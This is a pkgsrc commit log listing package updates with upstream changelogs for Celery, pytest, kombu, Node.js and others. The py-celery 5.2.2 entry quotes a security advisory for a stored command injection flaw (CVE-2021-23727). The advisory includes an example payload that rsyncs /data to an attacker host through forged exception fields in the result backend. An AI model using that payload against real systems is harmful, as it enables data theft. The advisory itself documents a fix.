2022-02-15 17:34:41 UTC MAIN commitmail json YAML

doc: Updated devel/gobject-introspection to 1.70.0

(wiz)

2022-02-15 17:34:32 UTC MAIN commitmail json YAML

gobject-introspection: update to 1.70.0.

Add upstream patch to fix build with latest meson.

1.70.0 - 2021-09-17
-------------------

* Update the GIR data for GLib, GObject, and GIO

1.69.0 - 2021-08-24
-------------------

* Fix build when gobject-introspection is a subproject :mr:`266`
* Add more float types :issue:`384`, :mr:`269`
* Make test suite work with cross-related options :issue:`227`
* Fix several leaks found by Coverity :mr:`272`
* Fix enum member c:identifier :mr:`264`
* Add g-ir-doc-tool man page :mr:`284`
* Export warnlib sources as variables :mr:`287`
* Update the GLib annotations :mr:`288`
* Add "final" class attribute :mr:`257`, :mr:`291`
* Add option to make .gir files installation paths configurable :mr:`63`
* Handle constructors with mismatched GTypes :issue:`399`, :mr:`292`
* Add property accessors annotations :issue:`13`, :mr:`279`

(wiz)

2022-02-15 16:46:52 UTC MAIN commitmail json YAML

TODO: py-flower done, remove

(wiz)

2022-02-15 16:44:28 UTC MAIN commitmail json YAML

doc: Added devel/py-test-celery version 0.0.0

(wiz)

2022-02-15 16:44:20 UTC MAIN commitmail json YAML

devel/Makefile: + py-test-celery

(wiz)

2022-02-15 16:38:23 UTC MAIN commitmail json YAML

doc: Updated net/py-flower to 1.0.0

(wiz)

2022-02-15 16:38:15 UTC MAIN commitmail json YAML

py-flower: update to 1.0.0.

Changes not found. But note:

Important

Please note that from version 1.0.1 Flower uses Celery 5 and has
to be invoked in the same style as celery commands do.

The key takeaway here is that the Celery app's arguments have to
be specified after the celery command and Flower's arguments have
to be specified after the flower sub-command.

This is the template to follow:

celery [celery args] flower [flower args]

(wiz)

2022-02-15 16:25:06 UTC MAIN commitmail json YAML

doc: Updated net/py-celery to 5.2.3

(wiz)

2022-02-15 16:24:57 UTC MAIN commitmail json YAML

py-celery: update to 5.2.3.

5.2.3
=====

- Allow redis >= 4.0.2.
- Upgrade minimum required pymongo version to 3.11.1.
- tested pypy3.8 beta (#6998).
- Split Signature.__or__ into subclasses' __or__ (#7135).
- Prevent duplication in event loop on Consumer restart.
- Restrict setuptools>=59.1.1,<59.7.0.
- Kombu bumped to v5.2.3
- py-amqp bumped to v5.0.9
- Some docs & CI improvements.

5.2.2
=====

- Various documentation fixes.
- Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend.
    In some cases, the exception class is only importable from the
    consumer's code base. In this case, we reconstruct the exception class
    so that we can re-raise the error on the process which queried the
    task's result. This was introduced in #4836.
    If the recreated exception type isn't an exception, this is a security issue.
    Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
    ``os.system("rsync /data attacker@192.168.56.100:~/data")``
    by setting the task's result to a failure in the result backend with the os,
    the system function as the exception type and the payload ``rsync /data attacker@192.168.56.100:~/data`` as the exception arguments like so:

    .. code-block:: python

        {
              "exc_module": "os",
              'exc_type': "system",
              "exc_message": "rsync /data attacker@192.168.56.100:~/data"
        }

    According to my analysis, this vulnerability can only be exploited if
    the producer delayed a task which runs long enough for the
    attacker to change the result mid-flight, and the producer has
    polled for the task's result.
    The attacker would also have to gain access to the result backend.
    The severity of this security vulnerability is low, but we still
    recommend upgrading.

5.2.1
=====

- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (#7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
- Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
- Remove dependency to case (#7077).
- fix: task expiration is timezone aware if needed (#7065).
- Initial testing of pypy-3.8 beta to CI.
- Docs, CI & tests cleanups.

5.2.0
=====

- Prevent from subscribing to empty channels (#7040)
- fix register_task method.
- Fire task failure signal on final reject (#6980)
- Limit pymongo version: <3.12.1 (#7041)
- Bump min kombu version to 5.2.1

5.2.0rc2
========

- Bump Python 3.10.0 to rc2.
- [pre-commit.ci] pre-commit autoupdate (#6972).
- autopep8.
- Prevent worker to send expired revoked items upon hello command (#6975).
- docs: clarify the 'keeping results' section (#6979).
- Update deprecated task module removal in 5.0 documentation (#6981).
- [pre-commit.ci] pre-commit autoupdate.
- try python 3.10 GA.
- mention python 3.10 on readme.
- Documenting the default consumer_timeout value for rabbitmq >= 3.8.15.
- Azure blockblob backend parametrized connection/read timeouts (#6978).
- Add as_uri method to azure block blob backend.
- Add possibility to override backend implementation with celeryconfig (#6879).
- [pre-commit.ci] pre-commit autoupdate.
- try to fix deprecation warning.
- [pre-commit.ci] pre-commit autoupdate.
- not needed anyore.
- not needed anyore.
- not used anymore.
- add github discussions forum

5.2.0rc1
========

- Kill all workers when main process exits in prefork model (#6942).
- test kombu 5.2.0rc1 (#6947).
- try moto 2.2.x (#6948).
- Prepared Hacker News Post on Release Action.
- update setup with python 3.7 as minimum.
- update kombu on setupcfg.
- Added note about automatic killing all child processes of worker after its termination.
- [pre-commit.ci] pre-commit autoupdate.
- Move importskip before greenlet import (#6956).
- amqp: send expiration field to broker if requested by user (#6957).
- Single line drift warning.
- canvas: fix kwargs argument to prevent recursion (#6810) (#6959).
- Allow to enable Events with app.conf mechanism.
- Warn when expiration date is in the past.
- Add the Framework :: Celery trove classifier.
- Give indication whether the task is replacing another (#6916).
- Make setup.py executable.
- Bump version: 5.2.0b3 → 5.2.0rc1.

5.2.0b3
=======

- Add args to LOG_RECEIVED (fixes #6885) (#6898).
- Terminate job implementation for eventlet concurrency backend (#6917).
- Add cleanup implementation to filesystem backend (#6919).
- [pre-commit.ci] pre-commit autoupdate (#69).
- Add before_start hook (fixes #4110) (#6923).
- Restart consumer if connection drops (#6930).
- Remove outdated optimization documentation (#6933).
- added https verification check functionality in arangodb backend (#6800).
- Drop Python 3.6 support.
- update supported python versions on readme.
- [pre-commit.ci] pre-commit autoupdate (#6935).
- Remove appveyor configuration since we migrated to GA.
- pyugrade is now set to upgrade code to 3.7.
- Drop exclude statement since we no longer test with pypy-3.6.
- 3.10 is not GA so it's not supported yet.
- Celery 5.1 or earlier support Python 3.6.
- Fix linting error.
- fix: Pass a Context when chaining fail results (#6899).
- Bump version: 5.2.0b2 → 5.2.0b3.

5.2.0b2
=======

- Test windows on py3.10rc1 and pypy3.7 (#6868).
- Route chord_unlock task to the same queue as chord body (#6896).
- Add message properties to app.tasks.Context (#6818).
- handle already converted LogLevel and JSON (#6915).
- 5.2 is codenamed dawn-chorus.
- Bump version: 5.2.0b1 → 5.2.0b2.

5.2.0b1
=======

- Add Python 3.10 support (#6807).
- Fix docstring for Signal.send to match code (#6835).
- No blank line in log output (#6838).
- Chords get body_type independently to handle cases where body.type does not exist (#6847).
- Fix #6844 by allowing safe queries via app.inspect().active() (#6849).
- Fix multithreaded backend usage (#6851).
- Fix Open Collective donate button (#6848).
- Fix setting worker concurrency option after signal (#6853).
- Make ResultSet.on_ready promise hold a weakref to self (#6784).
- Update configuration.rst.
- Discard jobs on flush if synack isn't enabled (#6863).
- Bump click version to 8.0 (#6861).
- Amend IRC network link to Libera (#6837).
- Import celery lazily in pytest plugin and unignore flake8 F821, "undefined name '...'" (#6872).
- Fix inspect --json output to return valid json without --quiet.
- Remove celery.task references in modules, docs (#6869).
-  The Consul backend must correctly associate requests and responses (#6823).

(wiz)

2022-02-15 16:21:11 UTC MAIN commitmail json YAML

devel/py-test-celery: import py-test-celery-0.0.0

pytest-celery a shim pytest plugin to enable celery.contrib.pytest.

(wiz)

2022-02-15 16:16:53 UTC MAIN commitmail json YAML

graphviz: Use release tarballs, not tagged snapshots from gitlab.

The release tarballs contain prebuilt files (specifically documentation).
If using the tagged snapshots, the documentation needs to be built which
requires tcl as a build tool. If built with option -tcl, the package fails
to build.

(sborrill)

2022-02-15 16:10:30 UTC MAIN commitmail json YAML

doc: Added devel/py-test-subtests version 0.7.0

(wiz)

2022-02-15 16:10:21 UTC MAIN commitmail json YAML

devel/Makefile: + py-test-subtests

(wiz)

2022-02-15 16:10:01 UTC MAIN commitmail json YAML

devel/py-test-subtests: import py-test-subtests-0.7.0

This pytest plugin was generated with Cookiecutter along with
@hackebrot's cookiecutter-pytest-plugin template.

* Adds support for TestCase.subTest.
* New subtests fixture, providing similar functionality for pure
  pytest tests.

(wiz)

2022-02-15 16:05:51 UTC MAIN commitmail json YAML

doc: Updated devel/py-test to 7.0.1

(wiz)

2022-02-15 16:05:42 UTC MAIN commitmail json YAML

py-test: update to 7.0.1.

pytest 7.0.1 (2022-02-11)

Bug Fixes

    #9608: Fix invalid importing of importlib.readers in Python
    3.9.

    #9610: Restore UnitTestFunction.obj to return unbound rather
    than bound method. Fixes a crash during a failed teardown in
    unittest TestCases with non-default __init__. Regressed in
    pytest 7.0.0.

    #9636: The pythonpath plugin was renamed to python_path. This
    avoids a conflict with the pytest-pythonpath plugin.

    #9642: Fix running tests by id with :: in the parametrize
    portion.

    #9643: Delay issuing a PytestWarning about diamond inheritance
    involving Item and Collector so it can be filtered using standard
    warning filters.

pytest 7.0.0 (2022-02-03)

(Please see the full set of changes for this release also in the
7.0.0rc1 notes below) Deprecations

    #9488: If custom subclasses of nodes like pytest.Item override
    the __init__ method, they should take **kwargs. See Constructors
    of custom pytest.Node subclasses should take **kwargs for
    details.

    Note that a deprection warning is only emitted when there is
    a conflict in the arguments pytest expected to pass. This
    deprecation was already part of pytest 7.0.0rc1 but wasn窶冲
    documented.

Bug Fixes

    #9355: Fixed error message prints function decorators when
    using assert in Python 3.8 and above.

    #9396: Ensure pytest.Config.inifile is available during the
    pytest_cmdline_main hook (regression during 7.0.0rc1).

Improved Documentation

    #9404: Added extra documentation on alternatives to common
    misuses of pytest.warns(None) ahead of its deprecation.

    #9505: Clarify where the configuration files are located. To
    avoid confusions documentation mentions that configuration file
    is located in the root of the repository.

pytest 7.0.0rc1 (2021-12-06)

Breaking Changes

    #7259: The Node.reportinfo() function first return value type
    has been expanded from py.path.local | str to os.PathLike[str]
    | str.

    Most plugins which refer to reportinfo() only define it as part
    of a custom pytest.Item implementation. Since py.path.local is
    a os.PathLike[str], these plugins are unaffacted.

    Plugins and users which call reportinfo(), use the first return
    value and interact with it as a py.path.local, would need to
    adjust by calling py.path.local(fspath). Although preferably,
    avoid the legacy py.path.local and use pathlib.Path, or use
    item.location or item.path, instead.

    Note: pytest was not able to provide a deprecation period for
    this change.

    #8246: --version now writes version information to stdout rather
    than stderr.

    #8733: Drop a workaround for pyreadline that made it work with
    --pdb.

    The workaround was introduced in #1281 in 2015, however since
    then pyreadline seems to have gone unmaintained, is generating
    warnings, and will stop working on Python 3.10.

    #9061: Using pytest.approx() in a boolean context now raises
    an error hinting at the proper usage.

    It is apparently common for users to mistakenly use pytest.approx
    like this:

    assert pytest.approx(actual, expected)

    While the correct usage is:

    assert actual == pytest.approx(expected)

    The new error message helps catch those mistakes.

    #9277: The pytest.Instance collector type has been removed.
    Importing pytest.Instance or _pytest.python.Instance returns
    a dummy type and emits a deprecation warning. See The
    pytest.Instance collector for details.

    #9308: PytestRemovedIn7Warning deprecation warnings are now
    errors by default.

    Following our plan to remove deprecated features with as little
    disruption as possible, all warnings of type PytestRemovedIn7Warning
    now generate errors instead of warning messages by default.

    The affected features will be effectively removed in pytest
    7.1, so please consult the Deprecations and Removals section
    in the docs for directions on how to update existing code.

    In the pytest 7.0.X series, it is possible to change the errors
    back into warnings as a stopgap measure by adding this to your
    pytest.ini file:

    [pytest] filterwarnings =
ignore::pytest.PytestRemovedIn7Warning

    But this will stop working when pytest 7.1 is released.

    If you have concerns about the removal of a specific feature,
    please add a comment to issue #9308.

Deprecations

    #7259: py.path.local arguments for hooks have been deprecated.
    See the deprecation note for full details.

    py.path.local arguments to Node constructors have been deprecated.
    See the deprecation note for full details.

    Note

    The name of the Node arguments and attributes (the new attribute
    being path) is the opposite of the situation for hooks (the
    old argument being path).

    This is an unfortunate artifact due to historical reasons,
    which should be resolved in future versions as we slowly get
    rid of the py dependency (see issue #9283 for a longer discussion).

    #7469: Directly constructing the following classes is now
    deprecated:

_pytest.mark.structures.Mark

_pytest.mark.structures.MarkDecorator

_pytest.mark.structures.MarkGenerator

_pytest.python.Metafunc

_pytest.runner.CallInfo

_pytest._code.ExceptionInfo

_pytest.config.argparsing.Parser

_pytest.config.argparsing.OptionGroup

_pytest.pytester.HookRecorder

    These constructors have always been considered private, but
    now issue a deprecation warning, which may become a hard error
    in pytest 8.

    #8242: Raising unittest.SkipTest to skip collection of tests
    during the pytest collection phase is deprecated. Use pytest.skip()
    instead.

    Note: This deprecation only relates to using unittest.SkipTest
    during test collection. You are probably not doing that. Ordinary
    usage of unittest.SkipTest / unittest.TestCase.skipTest() /
    unittest.skip() in unittest test cases is fully supported.

    #8315: Several behaviors of Parser.addoption are now scheduled
    for removal in pytest 8 (deprecated since pytest 2.4.0):

parser.addoption(..., help=".. %default ..") - use %(default)s
instead.

parser.addoption(..., type="int/string/float/complex") -
use type=int etc. instead.

    #8447: Defining a custom pytest node type which is both an
    pytest.Item and a pytest.Collector (e.g. pytest.File) now issues
    a warning. It was never sanely supported and triggers hard to
    debug errors.

    See the deprecation note for full details.

    #8592: pytest_cmdline_preparse has been officially deprecated.
    It will be removed in a future release. Use
    pytest_load_initial_conftests instead.

    See the deprecation note for full details.

    #8645: pytest.warns(None) is now deprecated because many people
    used it to mean 窶徼his code does not emit warnings窶�, but it
    actually had the effect of checking that the code emits at
    least one warning of any type - like pytest.warns() or
    pytest.warns(Warning).

    #8948: pytest.skip(msg=...), pytest.fail(msg=...) and
    pytest.exit(msg=...) signatures now accept a reason argument
    instead of msg. Using msg still works, but is deprecated and
    will be removed in a future release.

    This was changed for consistency with pytest.mark.skip and
    pytest.mark.xfail which both accept reason as an argument.

    #8174: The following changes have been made to types reachable
    through pytest.ExceptionInfo.traceback:

The path property of _pytest.code.Code returns Path instead
of py.path.local.

The path property of _pytest.code.TracebackEntry returns
Path instead of py.path.local.

    There was no deprecation period for this change (sorry!).

Features

    #5196: Tests are now ordered by definition order in more cases.

    In a class hierarchy, tests from base classes are now consistently
    ordered before tests defined on their subclasses (reverse MRO
    order).

    #7132: Added two environment variables PYTEST_THEME and
    PYTEST_THEME_MODE to let the users customize the pygments theme
    used.

    #7259: Added cache.mkdir(), which is similar to the existing
    cache.makedir(), but returns a pathlib.Path instead of a legacy
    py.path.local.

    Added a paths type to parser.addini(), as in parser.addini("mypaths",
    "my paths", type="paths"), which is similar to the existing
    pathlist, but returns a list of pathlib.Path instead of legacy
    py.path.local.

    #7469: The types of objects used in pytest窶冱 API are now exported
    so they may be used in type annotations.

    The newly-exported types are:

pytest.Config for Config.

pytest.Mark for marks.

pytest.MarkDecorator for mark decorators.

pytest.MarkGenerator for the pytest.mark singleton.

pytest.Metafunc for the metafunc argument to the
pytest_generate_tests hook.

pytest.CallInfo for the CallInfo type passed to various
hooks.

pytest.PytestPluginManager for PytestPluginManager.

pytest.ExceptionInfo for the ExceptionInfo type returned
from pytest.raises() and passed to various hooks.

pytest.Parser for the Parser type passed to the pytest_addoption
hook.

pytest.OptionGroup for the OptionGroup type returned from
the parser.addgroup method.

pytest.HookRecorder for the HookRecorder type returned from
Pytester.

pytest.RecordedHookCall for the RecordedHookCall type
returned from HookRecorder.

pytest.RunResult for the RunResult type returned from
Pytester.

pytest.LineMatcher for the LineMatcher type used in RunResult
and others.

pytest.TestReport for the TestReport type used in various
hooks.

pytest.CollectReport for the CollectReport type used in
various hooks.

    Constructing most of them directly is not supported; they are
    only meant for use in type annotations. Doing so will emit a
    deprecation warning, and may become a hard-error in pytest 8.0.

    Subclassing them is also not supported. This is not currently
    enforced at runtime, but is detected by type-checkers such as
    mypy.

    #7856: 窶妬mport-mode=importlib now works with features that
    depend on modules being on sys.modules, such as pickle and
    dataclasses.

    #8144: The following hooks now receive an additional pathlib.Path
    argument, equivalent to an existing py.path.local argument:

pytest_ignore_collect - The collection_path parameter
(equivalent to existing path parameter).

pytest_collect_file - The file_path parameter (equivalent
to existing path parameter).

pytest_pycollect_makemodule - The module_path parameter
(equivalent to existing path parameter).

pytest_report_header - The start_path parameter (equivalent
to existing startdir parameter).

pytest_report_collectionfinish - The start_path parameter
(equivalent to existing startdir parameter).

    Note

    The name of the Node arguments and attributes (the new attribute
    being path) is the opposite of the situation for hooks (the
    old argument being path).

    This is an unfortunate artifact due to historical reasons,
    which should be resolved in future versions as we slowly get
    rid of the py dependency (see issue #9283 for a longer discussion).

    #8251: Implement Node.path as a pathlib.Path. Both the old
    fspath and this new attribute gets set no matter whether path
    or fspath (deprecated) is passed to the constructor. It is a
    replacement for the fspath attribute (which represents the same
    path as py.path.local). While fspath is not deprecated yet due
    to the ongoing migration of methods like reportinfo(), we expect
    to deprecate it in a future release.

    Note

    The name of the Node arguments and attributes (the new attribute
    being path) is the opposite of the situation for hooks (the
    old argument being path).

    This is an unfortunate artifact due to historical reasons,
    which should be resolved in future versions as we slowly get
    rid of the py dependency (see issue #9283 for a longer discussion).

    #8421: pytest.approx() now works on Decimal within mappings/dicts
    and sequences/lists.

    #8606: pytest invocations with --fixtures-per-test and --fixtures
    have been enriched with:

Fixture location path printed with the fixture name.

First section of the fixture窶冱 docstring printed under the
fixture name.

Whole of fixture窶冱 docstring printed under the fixture name
using --verbose option.

    #8761: New pytest.version_tuple attribute, which makes it
    simpler for users to do something depending on the pytest
    version (such as declaring hooks which are introduced in later
    versions).

    #8789: Switch TOML parser from toml to tomli for TOML v1.0.0
    support in pyproject.toml.

    #8920: Added pytest.Stash, a facility for plugins to store
    their data on Config and Nodes in a type-safe and conflict-free
    manner. See Storing data on items across hook functions for
    details.

    #8953: RunResult method assert_outcomes now accepts a warnings
    argument to assert the total number of warnings captured.

    #8954: --debug flag now accepts a str file to route debug logs
    into, remains defaulted to pytestdebug.log.

    #9023: Full diffs are now always shown for equality assertions
    of iterables when CI or BUILD_NUMBER is found in the environment,
    even when -v isn窶冲 used.

    #9113: RunResult method assert_outcomes now accepts a deselected
    argument to assert the total number of deselected tests.

    #9114: Added pythonpath setting that adds listed paths to
    sys.path for the duration of the test session. If you currently
    use the pytest-pythonpath or pytest-srcpaths plugins, you should
    be able to replace them with built-in pythonpath setting.

Improvements

    #7480: A deprecation scheduled to be removed in a major version
    X (e.g. pytest 7, 8, 9, 窶ヲ) now uses warning category
    PytestRemovedInXWarning, a subclass of PytestDeprecationWarning,
    instead of PytestDeprecationWarning directly.

    See Backwards Compatibility Policy for more details.

    #7864: Improved error messages when parsing warning filters.

    Previously pytest would show an internal traceback, which
    besides being ugly sometimes would hide the cause of the problem
    (for example an ImportError while importing a specific warning
    type).

    #8335: Improved pytest.approx() assertion messages for sequences
    of numbers.

    The assertion messages now dumps a table with the index and
    the error of each diff. Example:

    >      assert [1, 2, 3, 4] == pytest.approx([1, 3, 3, 5]) E
    assert comparison failed for 2 values:  E        Index |
    Obtained | Expected E        1    | 2        | 3 +- 3.0e-06
    E        3    | 4        | 5 +- 5.0e-06

    #8403: By default, pytest will truncate long strings in assert
    errors so they don窶冲 clutter the output too much, currently at
    240 characters by default.

    However, in some cases the longer output helps, or is even
    crucial, to diagnose a failure. Using -v will now increase the
    truncation threshold to 2400 characters, and -vv or higher will
    disable truncation entirely.

    #8509: Fixed issue where unittest.TestCase.setUpClass() is not
    called when a test has / in its name since pytest 6.2.0.

    This refers to the path part in pytest node IDs, e.g.
    TestClass::test_it in the node ID
    tests/test_file.py::TestClass::test_it.

    Now, instead of assuming that the test name does not contain
    /, it is assumed that test path does not contain ::. We plan
    to hopefully make both of these work in the future.

    #8803: It is now possible to add colors to custom log levels
    on cli log.

    By using add_color_level from a pytest_configure hook, colors
    can be added:

    logging_plugin = config.pluginmanager.get_plugin('logging-plugin')
    logging_plugin.log_cli_handler.formatter.add_color_level(logging.INFO,
    'cyan')
    logging_plugin.log_cli_handler.formatter.add_color_level(logging.SPAM,
    'blue')

    See Customizing Colors for more information.

    #8822: When showing fixture paths in --fixtures or --fixtures-by-test,
    fixtures coming from pytest itself now display an elided path,
    rather than the full path to the file in the site-packages
    directory.

    #8898: Complex numbers are now treated like floats and integers
    when generating parameterization IDs.

    #9062: --stepwise-skip now implicitly enables --stepwise and
    can be used on its own.

    #9205: pytest.Cache.set() now preserves key order when saving
    dicts.

(wiz)

2022-02-15 15:32:18 UTC MAIN commitmail json YAML

doc: Updated net/py-moto to 3.0.3

(wiz)

2022-02-15 15:32:09 UTC MAIN commitmail json YAML

py-moto: update to 3.0.3.

Changelog not found - five years of regular releases.

(wiz)

2022-02-15 15:18:05 UTC MAIN commitmail json YAML

doc: Updated databases/postgresql-postgis2 to 3.2.1

(gdt)

2022-02-15 15:17:59 UTC MAIN commitmail json YAML

2022-02-15 14:37:15 UTC MAIN commitmail json YAML

doc: Updated net/py-kombu to 5.2.3

(wiz)

2022-02-15 14:37:06 UTC MAIN commitmail json YAML

py-kombu: update to 5.2.3.

5.2.3

What's Changed

    create codeql actions by @auvipy in #1441
    create security policy doc by @auvipy in #1440
    drop as we dont use travis by @auvipy in #1442
    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1443
    Fix PyPy CI jobs by @illia-v in #1446
    Allow redis >= 4.0.2 by @illia-v in #1445
    SQS transport: detect FIFO queue properly by checking queue URL by @n0061q in #1450
    Ensure that restore is atomic in redis transport by @matusvalo in #1444
    test pyaqp v5.0.7 by @auvipy in #1457
    try restrict setuptool in CI by @auvipy in #1472
    try pining setuptools by @auvipy in #1466
    test amqp v5.0.9 by @auvipy in #1462
    reduce memory usage of Transport by @pawl in #1470
    prevent event loop polling on closed redis transports (and causing leak) by @pawl in #1476
    respect connection timeout by @mehdipourfar in #1458
    prevent redis event loop stopping on 'consumer: Cannot connect' by @pawl in #1477
    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1478

5.2.2

What's Changed

    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1430
    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1436
    pin redis under 4.0.0 for now by @auvipy in #1437

5.2.1

What's Changed

    Added integration test of failed authentication to redis by @matusvalo in #1423
    Bump redis version to >= 3.4.1 by @matusvalo in #1422
    add python 3.10 to classifier by @auvipy in #1424
    python !=3.12.1 by @auvipy in #1427
    Update librabbitmq.txt by @auvipy in #1426
    try latest sqs dependencies by @auvipy in #1428

5.2.0

What's Changed

    Revert "Added redis transport key_prefix from envvars" by @matusvalo in #1249
    Redis Transport: Small improvements of SentinelChannel by @matusvalo in #1253
    Fix pidbox not using default channels on master by @lambacck in #1258
    Added self to AUTHORS by @vinayinvicible in #1260
    Revert "on worker restart - restore visible regardless to time (#905)" by @vinayinvicible in #1259
    Add vine to install dependencies by @chrisburr in #1265
    Reformat and improve kombu transport reference docs by @matusvalo in #1264
    Pin urllib3<1.26 to fix failing unittests. by @matusvalo in #1273
    Add timeout to producer publish by @RezaSi in #1269
    Added 4.6.8 changelog by @KFoxder in #1276
    Remove python2 compatibility code by @matusvalo in #1277
    redis: Support Sentinel with SSL by @auvipy in #1275
    Update connections.rst with Redis sentinel example by @anudeepsamaiya in #1285
    docs: fix simple typo, propery -> property by @timgates42 in #1286
    Support for Azure Service Bus 7.0.0 by @terrycain in #1284
    Allow specifying session token by @flying-sheep in #1283
    Fix Azure Service Bus URL parsing by @terrycain in #1287
    Python 3 style print statement by @rednafi in #1289
    min py-amqp to 5.0.5 by @auvipy in #1292
    attempt to update to tox docker 2.0 by @auvipy in #1293
    http/curl: missing _set_timeout by @raittes in #1296
    Stop treating namedtuple as an object when using simplejson by @Hardtack in #1297
    SQS back-off policy by @galCohen88 in #1301
    SQS retry policy documentation improvement by @galCohen88 in #1304
    Port of redis code improvements from prior revision by @matteius in #1132
    Revert "Port of redis code improvements from prior revision" by @matusvalo in #1307
    Fixed SQS unittests by @matusvalo in #1308
    fix: non kombu json message decoding in SQS transport by @moaddib666 in #1306
    Add Github Actions CI by @matusvalo in #1309
    Update default pickle protocol version to 4 by @illia-v in #1314
    Update connection.py by @Krogsager in #1311
    Drop support for the lzma backport by @thedrow in #1317
    Fix tiny mistake in introduction by @der-gabe in #1312
    Drop obsolete code importing pickle by @illia-v in #1315
    Small doc fixes by @der-gabe in #1319
    Update default login method for librabbitmq and pyamqp by @daviskirk in #936
    SQS Broker - handle STS authentication with AWS by @galCohen88 in #1322
    min py-amqp to v5.0.6 by @auvipy in #1325
    Use a thread-safe implementation of cached_property by @thedrow in #1316
    Azure Service Bus - versatile queue names fix by @tsunday in #1324
    Fix CI failure by @thedrow in #1327
    Add support for SQLAlchemy 1.4 by @thedrow in #1328
    Opencollective bot is now configured by @thedrow in #1331
    re order CI jobs to make lint the last by @auvipy in #1332
    Coerce seconds argument to a floating point number. by @thedrow in #1330
    Make flake8 and pydocstyle happy by @matusvalo in #1333
    Remove unused appveyor and travis configuration files by @matusvalo in #1335
    Ignore kombu.transport.librabbitmq in apicheck. by @matusvalo in #1334
    chore: Refactor code quality issues by @akshgpt7 in #1320
    Revert "chore: Refactor code quality issues" by @matusvalo in #1342
    add accept parameter to SimpleQueue class by @lsaavedr in #1140
    prepare_accept_content() now raises SerializerNotInstalled instead of KeyError by @matusvalo in #1343
    Remove backward compatible code not used anymore by @matusvalo in #1344
    Move pytest.importorskip to run earlier by @felixonmars in #1346
    Add support for setting redis username by @gabor-boros in #1351
    enable pre-commit by @graingert in #1355
    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1359
    Add support for Python 3.9 by @D3X in #1363
    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1364
    Use hostname from URI when server_host is None by @matusvalo in #1366
    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1367
    Use Python's built-in json module by default, instead of simplejson by @nikolas in #1368
    Fixed type comment by @SchizmOne in #1371
    SQS Channel.predefined_queues should be {} if not defined by @infinitewarp in #1372
    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1374
    Add global key prefix for keys set by Redis transporter by @gabor-boros in #1349
    fix: raise BrokenPipeError exit on brokenpipe instead of hanging around by @jagguli in #1231
    [FAL-2030] fix: add missing commands to prefix by @gabor-boros in #1376
    Make BrokerState Transport specific by @matusvalo in #1378
    Run integration tests for kombu also with global_keyprefix by @matusvalo in #1380
    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1379
    v 1.4.x by @auvipy in #1338
    stop mentioning librabbitmq by @auvipy in #1381
    test new pytest version by @auvipy in #1383
    drop python 3.6 from CI by @auvipy in #1382
    Fix missing dependency to redis in docs requirements by @matusvalo in #1386
    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1387
    Remove dependency to case by @matusvalo in #1389
    Fix: check redis response type by @kaiix in #1390
    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1393
    py3.7+ on setup by @auvipy in #1392
    Prevent caching of oid in pidbox by @matusvalo in #1394
    fix flake8 in kombu/asynchronous/aws/connection.py by @matusvalo in #1397
    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1396
    Fix test_pidbox unittests to support non-linux platforms by @matusvalo in #1398
    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1400
    removre bdist by @auvipy in #1406
    add python 3.10 to CI & fix other issues by @auvipy in #1402
    try to fix CI by @auvipy in #1407
    Dont failfast when pypy3 tests fail by @matusvalo in #1408
    Return empty list instead of InconsistencyError when exchange table is empty by @matusvalo in #1404
    [pre-commit.ci] pre-commit autoupdate by @pre-commit-ci in #1410
    5.2.0 release notes by @naomielst in #1417

(wiz)

2022-02-15 14:03:38 UTC MAIN commitmail json YAML

Updated databases/repmgr, lang/nodejs, lang/nodejs12, www/py-nbclient

(adam)

2022-02-15 14:03:15 UTC MAIN commitmail json YAML

py-nbclient: updated to 0.5.11

0.5.11

### Merged PRs

- Pin ipython<8 in tests
- Clear execution metadata, prefer msg header date when recording times

(adam)

2022-02-15 14:00:34 UTC MAIN commitmail json YAML

nodejs12: updated to 12.22.10

Version 12.22.10 'Erbium' (LTS)

Notable changes

Upgrade npm to 6.14.16
Updated ICU time zone data

(adam)

2022-02-15 13:59:42 UTC MAIN commitmail json YAML

nodejs: updated to 14.19.0

Version 14.19.0 'Fermium' (LTS)

Notable Changes

Corepack

Node.js now includes Corepack, a script that acts as a bridge between Node.js projects and the package managers they are intended to be used with during development. In practical terms, Corepack will let you use Yarn and pnpm without having to install them - just like what currently happens with npm, which is shipped in Node.js by default. Please head over to the Corepack documentation page for more information on how to use it.

ICU updated

ICU has been updated to 70.1. This updates timezone database to 2021a3, including bringing forward the start for DST for Jordan from March to February.

New option to disable loading of native addons

A new command line option --no-addons has been added to disallow loading of native addons.

Updated Root Certificates

Root certificates have been updated to those from Mozilla's Network Security Services 3.71.

(adam)

2022-02-15 13:58:20 UTC MAIN commitmail json YAML

repmgr: updated to 5.3.1

repmgr 5.3.1 is a minor release.

A.1.1. Bug fixes

Fix upgrade path from repmgr 4.2 and 4.3 to repmgr 5.3.

repmgrd: ensure potentially open connections are closed.

In some cases, when recovering from degraded state in local node monitoring, new connection was opened to the local node without closing the old one, which will result in memory leakage.

(adam)

2022-02-15 13:10:21 UTC MAIN commitmail json YAML

doc: Updated emulators/nono to 0.2.6

(jun)

2022-02-15 13:08:00 UTC MAIN commitmail json YAML

nono: update to 0.2.6

0.2.6 (2022/02/15)

m88k(Update): "Improve the performance of m88k core slightly."
m68k(Fix): "Fix 68881's FCMP instruction that may return wrong result."
vm(Update): "Improve the renderer including performance."
vm(Fix): "Fix a problem that the absolute path for SCSI images could not be specified."
vm(Fix): "Fix a problem that accessing the last sector causes an error."
GUI(New): "Implement a vector table monitor."
GUI(New): "Implement a log level setting window."
GUI(Update): "Improve performance of window drawing."
